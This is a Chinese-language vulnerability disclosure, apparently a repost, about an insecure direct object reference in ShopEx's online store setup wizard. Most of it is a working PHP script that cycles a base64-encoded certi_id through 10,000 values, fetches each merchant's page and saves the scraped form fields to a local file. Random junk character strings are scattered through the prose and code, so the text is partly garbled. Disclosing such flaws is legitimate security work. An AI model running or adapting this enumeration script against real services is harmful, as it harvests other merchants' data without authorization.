ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
0 Z! ^! w# z0 ]! VShopEx某接口缺陷,可遍历所有网站
: C' |0 w7 J  `1 u. u7 @9 c% ~; @' j+ s详细说明：
问题出现在shopex 网店使用向导页面
8 V1 ~9 h' `" o4 m. q# G

$ m( l: ~8 y7 {+ p7 E
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=

4 ^& `: d1 y% U8 P( Q; A) F
8 x4 w3 `; w2 l+ G5 ?
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}

- Y, U6 z3 U6 u4 D4 c( `

9 P5 X6 F1 m) ]$ w我们修改certi_id 即可遍历所有使用了ShopEx程序的网站


& d' ~) A' M2 T3 h
<?php

                for ($i=1; $i < 10000; $i++) { //遍历

$ d! F' n9 S+ p7 h, o                        ShowshopExD($i);

                }
: o4 L, @8 S1 w5 J$ }
                function ShowshopExD($cid) {
0 [3 y5 b5 H% C( @: S/ m
                $url='http://guide.ecos.shopex.cn/step2.php';
8 }) u: `! j$ D
6 D+ }' a' R* B$ D8 X                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
% F- O: R: u0 Y: Y0 x
        $url = $url.'?refer='.$refer;

        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
8 H) G, W, N5 s; f- x
; ^9 ]; c& {0 F% b" l( @        if(strpos($result,$refer))
- P2 a% A! L2 b2 w9 ^6 d& V/ s
        {

- H8 Q, e/ t. _* H                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
2 J' b, x9 E2 l# A
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
7 `% ~3 P# V$ l7 W; t  I
                foreach ($value[1] as $key) {

& l+ G& T. k& c, ?; a1 j3 V, G                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
# p' p8 d2 s1 [+ F+ y$ r3 j
! x* g+ t+ }8 S2 e9 D( q% v                        echo $res[1][0].':'.$res[3][0]."\r\n";
/ b* F$ j9 x) J: P4 x' X
                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));
( o# D$ n  t  ?8 H: [( F8 A- @7 ~
                }
4 i! v; b2 g7 p2 R, E
                echo '--------------------------------'."\r\n";
! p7 x# R1 l3 j4 V! ?1 S- v
" J3 T8 \) F0 X" t1 n" i                fclose($fp);
% {7 Q& ?  `' g2 ?% H
  {" I5 Z% ^. ?2 e1 v/ O# b. U: [        }
' y" b' j& N6 |3 S! Z- Y
        flush();

1 u3 n1 [' [3 L7 w- h" X( Y        curl_close($ch);

3 c+ @1 e4 s/ X+ h- |+ Y2 K                }
: H; r* b5 W( t! ?' n: O) ]
$ S1 @) y4 O8 o  ^8 z: ?0 P; g?>
2 l6 l& W  f# Q0 S3 H漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
" A8 p9 _9 \2 p, D0 \% Srefer换成其他加密方式
% A  \/ U8 y0 v# R' q